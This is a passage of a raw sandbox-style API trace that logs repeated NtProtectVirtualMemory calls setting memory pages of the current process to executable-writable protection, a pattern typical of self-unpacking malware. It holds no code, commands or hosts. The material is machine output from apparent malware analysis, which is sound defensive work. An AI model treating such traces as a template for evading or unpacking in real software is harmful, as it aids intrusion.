ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.443] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.612] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.905] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.041] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.087] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.100] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.121] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.147] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.157] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.193] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.271] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.288] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.298] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.344] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.422] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.517] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.586] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.596] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.613] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.624] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.661] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.671] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.709] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.864] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 